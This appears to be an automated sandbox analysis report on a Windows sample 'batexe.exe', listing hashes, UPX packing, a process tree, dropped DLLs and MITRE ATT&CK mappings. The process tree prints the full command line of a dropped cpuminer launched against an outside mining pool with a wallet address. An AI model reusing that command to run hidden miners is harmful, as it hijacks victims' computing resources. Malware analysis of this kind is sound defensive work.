73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
305s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
14-02-2024 09:49

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3312	b2e.exe
4908	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4908	cpuminer-sse2.exe
4908	cpuminer-sse2.exe
4908	cpuminer-sse2.exe
4908	cpuminer-sse2.exe
4908	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3272-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3272 wrote to memory of 3312	3272	batexe.exe	73
PID 3272 wrote to memory of 3312	3272	batexe.exe	73
PID 3272 wrote to memory of 3312	3272	batexe.exe	73
PID 3312 wrote to memory of 4740	3312	b2e.exe	74
PID 3312 wrote to memory of 4740	3312	b2e.exe	74
PID 3312 wrote to memory of 4740	3312	b2e.exe	74
PID 4740 wrote to memory of 4908	4740	cmd.exe	77
PID 4740 wrote to memory of 4908	4740	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3272
- C:\Users\Admin\AppData\Local\Temp\77C6.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\77C6.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\77C6.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3312
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7CA8.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4740
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4908

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\77C6.tmp\b2e.exe

Filesize
1.1MB

MD5
c8ddb9a1b99b955d28ce987616dc783a

SHA1
6a50a41aac042de84cbe5fe9cfa8ef171c1a15ba

SHA256
d42d045c7eaec84a0576fa2d1e67566cd65686605e6f66217c2da6ec9faa060a

SHA512
8804aa717bb5d9a88543175afd4ed3363ae6d1ff9846379f9bbfb7ff1b49cf0031fd6b1cbb0b1491a94d1158663021c8bf56c47050f3192b62a0c5bb5499d397

Download Submit
C:\Users\Admin\AppData\Local\Temp\77C6.tmp\b2e.exe

Filesize
1.4MB

MD5
fe4bc2bb4397eea601e0fa6c45cc20c6

SHA1
35477fc0a38f9db357a70f9b0573537fca582a9b

SHA256
8852fb3a8294753e6b088d458547feaf54685068ed6bc0dece93f608ab44afa7

SHA512
3759f54232069d2efba631954ff86bbf5ef58a616e4e0109c9ad5fcd632ee97ddf169ebddbe58237dbee36951c8d2e176312abe4e142f636398bff8fc2973bbf

Download Submit
C:\Users\Admin\AppData\Local\Temp\7CA8.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.1MB

MD5
37628ab3d96678d193332272ad1e9482

SHA1
c51563f4e5c32828d2a264a11598281259f121b5

SHA256
bc36a1e33edae7081df567ce21c5434d4b46ae41267372a204d7df8814543e45

SHA512
8cdd46892a450b55586bf0151ddb9a49090eddae1b407c2f5e96c6778df56d8ef4807f2ff917a4910acf45f6dc10698c2f934ff74008792a0bce5f72676708ae

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.4MB

MD5
7e9acd09fe50274ed18b32b3bdc5fd31

SHA1
080d6ad8f2213754c8e7c16c2257bf153030af03

SHA256
72a28b1e5a409baab668a46b6ba8957408c903e939de8b51c0cd10c4e17804af

SHA512
cee909008faf40775dc4c01f51819001c7da6585e9c6ee0dc508e36d22b1d116ca4a2136c4ab16da62263e72585bae4592fb1f1128d6050b871e31c978720a83

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.4MB

MD5
57a75e741d74a678f8db01c1c6b24fae

SHA1
8a1ff698ba80f079b5a344ca2deb847b017b7c3e

SHA256
779dc03026bb9f5c1c5555a5c10ca95e163a5127ce092992558add4585fa085b

SHA512
8296f9d2b82aa0ed7e5bcab47935e6c536d661e2db9a5c44e07c4ed78df13ba2651c3a64a4c0219f7273ea565e1614f50fe15d3e4005a2ce22e625cc527120c0

Download Submit
memory/3272-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3312-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3312-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4908-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4908-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4908-42-0x0000000050210000-0x00000000502A8000-memory.dmp

Filesize
608KB

Download
memory/4908-44-0x0000000001140000-0x00000000029F5000-memory.dmp

Filesize
24.7MB

Download
memory/4908-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4908-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4908-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4908-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4908-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4908-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4908-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4908-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download